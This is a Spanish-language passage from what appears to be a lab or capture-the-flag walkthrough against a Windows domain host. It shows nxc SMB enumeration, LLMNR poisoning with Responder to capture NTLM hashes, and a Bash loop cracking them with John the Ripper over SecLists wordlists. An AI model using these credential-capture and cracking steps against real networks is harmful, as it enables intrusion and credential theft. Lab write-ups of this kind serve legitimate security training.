Ahora con nxc

• Verificamos un poco de info de la maquina:

nxc smb 192.168.1.45

Tenemos un dominio: const.thl y un nombre de máquina WIN-C73PROQLRHL.

Agregamos el dominio y el FQDN a nuestro archivo /etc/hosts:

echo '192.168.1.45 cons.thl WIN-C73PROQLRHL.cons.thl' | sudo tee -a /etc/hosts

Podemos entonces empezar un LLMNR poisoner con Responder y, eventualmente, obtener algo:

Herramienta:

GitHub - SpiderLabs/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.GitHub

sudo responder -I eth0

Obtenemos dos hash

Si intentamos performar un Brute Force Password Cracking con JohnTheRipper y el diccionario rockyou.txt no somos capaces de crackearlo. Como sea, si usamos otras contraseñas del repositorio SecLists (en un pequeño “for” loop con Bash) obtenemos algo:

 for dict in *.txt; do echo -e "\n\n[+] Attempting with dictionary $dict"; john --wordlist=$dict hash.hash; done
